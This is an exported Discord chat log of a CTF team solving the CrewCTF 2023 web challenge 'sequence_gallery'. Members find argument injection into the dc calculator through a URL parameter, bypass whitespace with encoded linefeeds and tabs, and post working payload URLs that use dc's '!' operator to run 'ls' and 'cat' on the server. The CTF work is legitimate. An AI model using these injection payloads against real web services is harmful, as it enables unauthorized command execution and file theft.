Guild icon
Project Sekai
🔒 CrewCTF 2023 / ✅-web-sequence_gallery
Avatar
Sutx BOT 07/07/2023 10:02 PM
sequence_gallery - 1000 points
Category: Web Description:
  • Do you like sequences?
Author : Satoooon http://sequence-gallery.chal.crewc.tf:8080/ Files:Tags: No tags.
07/07/2023 10:02 PM
Sutx pinned a message to this channel. 07/07/2023 10:02 PM
Avatar
Sutx BOT 07/08/2023 1:41 AM
@rubiya wants to collaborate 🤝
Avatar
rubiya 07/08/2023 2:07 AM
http://sequence-gallery.chal.crewc.tf:8080/?sequence=-h
02:08
https://man.freebsd.org/cgi/man.cgi?query=dc&sektion=1 (edited)
02:14
?sequence=-e%0a4%095%09*%0ap
02:17
now I can use expression but how can i read flag file
02:17
peepoo
Avatar
Sutx BOT 07/08/2023 2:23 AM
@Zafirr wants to collaborate 🤝
Avatar
rubiya 07/08/2023 2:24 AM
can inject argument like -e -f -h -v
Avatar
Zafirr 07/08/2023 2:26 AM
ok i will read a bit first
Avatar
rubiya 07/08/2023 2:26 AM
sure
02:26
point is %0a(linefeed) and %09(tab)
02:26
could bypass using linefeed/tab instead whitespace (edited)
Avatar
Sutx BOT 07/08/2023 2:28 AM
@Surg wants to collaborate 🤝
02:31
@Violin wants to collaborate 🤝
Avatar
Zafirr 07/08/2023 2:40 AM
http://sequence-gallery.chal.crewc.tf:8080/?sequence=-e!ls%0a
02:40
that runs ls
Avatar
rubiya 07/08/2023 2:41 AM
oh
02:41
nice
Avatar
Zafirr 07/08/2023 2:41 AM
http://sequence-gallery.chal.crewc.tf:8080/?sequence=-e!cat%09fla*%0a
02:41
ok idk why its like this
02:41
ok
Avatar
sahuang 07/08/2023 2:41 AM
nice
Avatar
Zafirr 07/08/2023 2:41 AM
thats the flag
02:41
:kekw:
Avatar
sahuang 07/08/2023 2:41 AM
yeah
02:41
🤣
Avatar
rubiya 07/08/2023 2:42 AM
kyuuClap
02:42
submit it
Avatar
Zafirr 07/08/2023 2:42 AM
done
Avatar
rubiya 07/08/2023 2:42 AM
konatahype
Avatar
sahuang 07/08/2023 2:42 AM
nice
Avatar
Avatar
Zafirr
used /ctf solve
Sutx BOT 07/08/2023 2:42 AM
✅ Challenge solved.
Avatar
sahuang 07/08/2023 2:42 AM
wonderhoy
Avatar
rubiya 07/08/2023 2:42 AM
what ! meaning?
Avatar
Zafirr 07/08/2023 2:42 AM
https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/dc.html#SEC10
02:42
the line is run as system command
Avatar
rubiya 07/08/2023 2:42 AM
ohhh
02:42
cool
02:43
z_pat
02:43
good cat good cat
Avatar
Zafirr 07/08/2023 2:43 AM
hehe
Exported 43 message(s)